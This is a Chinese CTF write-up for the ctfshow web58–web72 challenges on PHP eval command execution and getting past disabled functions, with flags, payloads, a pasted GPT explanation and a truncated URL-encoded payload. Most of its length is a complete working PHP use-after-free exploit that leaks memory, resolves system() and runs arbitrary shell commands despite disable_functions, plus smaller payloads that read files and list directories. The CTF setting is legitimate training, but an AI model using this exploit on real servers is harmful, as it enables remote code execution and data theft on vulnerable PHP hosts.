}

web58

ctfshow{e8f4e2b4-f3a7-490b-82a1-ed77c2be1596}

web63

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

ctfshow{55210574-3a00-4ac8-971a-eef8274db677}

web64

命令执行,突破禁用函数,真的是 秀不过你们

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

ctfshow{2d149b7f-b935-4ade-8936-088a650749be}

web65

命令执行,突破禁用函数,求你们别秀了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

web66

命令执行,突破禁用函数,求你们别秀了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这次看来不行了

image-20240721140514108

看看在哪

c=payload(scandir("/"));

image-20240721140635486

c=highlight_file('/flag.txt');

image-20240721140755039

ctfshow{56cd7a6d-1486-4d07-b1d2-f213654082f5}

web67

命令执行,突破禁用函数,求你们别秀了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web66

ctfshow{128e2d11-eb79-4899-adde-cb2257e85751}

web68

命令执行,突破禁用函数,求你们别秀了

源代码直接不给了

image-20240721141120836

show_source()、print_r()也被ban了

不过还可以用var_dump

c=var_dump(scandir('./'));
c=var_dump(scandir('/'));

发现/flag.txt和./flag.php

直接文件包含文本

c=include'/flag.txt';

image-20240721141854455

ctfshow{b294af39-78b2-4f71-a5be-805ec4878ea6}

flag.php里面没有flag

image-20240721142042093

web69

命令执行,突破禁用函数,求你们别秀了

web68

ctfshow{a43a8b63-a1e2-4f57-9d57-edbbca149eb1}

web70

命令执行,突破禁用函数,求你们别秀了

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

开幕雷击

不过,同web68

ctfshow{2996788a-1cca-40cb-a620-df9918f0042b}

web71

命令执行,突破禁用函数,求你们别秀了

这次给了源码附件

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

image-20240721144253863

获取缓冲区的数据,然后清除缓冲区数据,再输出大小写字母数字置换成?的原缓冲区数据,相当于输出半路给你截了,然后衣服给你扒光再放走

image-20240721143333506

置换操作都是文件包含后面的,终止后面操作,利用die()或者exit()提前结束即可

image-20240721145048485

ctfshow{0243efe0-01b9-4232-9ba9-8ab76a8ad8da}

web72

命令执行,突破禁用函数,求你们别秀了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

找不到flag,需要扫描目录

没有访问权限

image-20240721154310674

可以用DirectoryIterator类下的getFilename()方法,搭配上glob://

image-20240721152925570

直接套php官方的example

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>
c=
$dir = new DirectoryIterator('glob:///*');
foreach ($dir as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
die();

image-20240721153215335

发现flag0.txt,目录访问限制了

image-20240721192935423

这真没法了,看了一下官方的POC

<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

利用php的一个UAF。。这不是pwn的东西吗,为难web狗了,还是太菜了

大概就通过各种地址偏移最后指向system函数,看看GPT怎么说的


这段PHP代码是一个漏洞利用脚本,利用的是PHP的Use After Free (UAF) 漏洞来执行任意代码。下面是对代码的详细解释:

漏洞利用过程解析

  1. Vuln 类和 Helper 类定义
    • Vuln 类有一个成员 $a,在其析构函数 __destruct() 中利用了 UAF 漏洞。
    • Helper 类定义了几个成员 $a, $b, $c, $d
  2. 辅助函数
    • str2ptr(&$str, $p = 0, $s = 8):将字符串中的一部分转换为地址。
    • ptr2str($ptr, $m = 8):将地址转换为字符串形式。
    • write(&$str, $p, $v, $n = 8):向字符串中写入值。
  3. 漏洞利用函数 ctfshow($cmd)
    • 首先检查操作系统是否为 *nix 系统,如果不是则退出。
    • 创建了 $n_alloc 个字符串对象 $contiguous,用于分配内存。
    • 调用 trigger_uaf('x') 函数,该函数触发 UAF 漏洞。在这个函数内部,将一个字符串对象赋值给 $vuln->a 成员,然后销毁 $vuln 对象。
    • ctfshow 函数中,从 $backtrace 中获取之前触发 UAF 时的参数 $abc
  4. 利用 UAF 获取地址
    • 通过 $abc 字符串获取闭包处理函数的地址、PHP堆的地址等关键信息。
  5. 获取基础函数地址
    • 使用 get_basic_funcs($base, $elf) 函数获取 PHP 基础函数的地址。
  6. 获取系统函数地址
    • 使用 get_system($basic_funcs) 函数获取 system 函数的地址。
  7. 构造恶意对象
    • 使用 $abc 字符串对象,构造恶意对象的偏移,将获取的系统函数地址写入其中。
  8. 执行命令
    • 最后执行 ($helper->b)($cmd),即调用之前设置的闭包处理函数,从而触发执行命令。

漏洞利用思路

  • 利用 Vuln 类的 UAF 漏洞,获取到之前释放的 $abc 字符串对象,从中读取关键信息。
  • 利用 PHP 内存布局和 ELF 文件解析,找到系统函数地址并将其注入到构造的恶意对象中。
  • 最终通过触发闭包函数来执行系统命令。

编码发包

c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%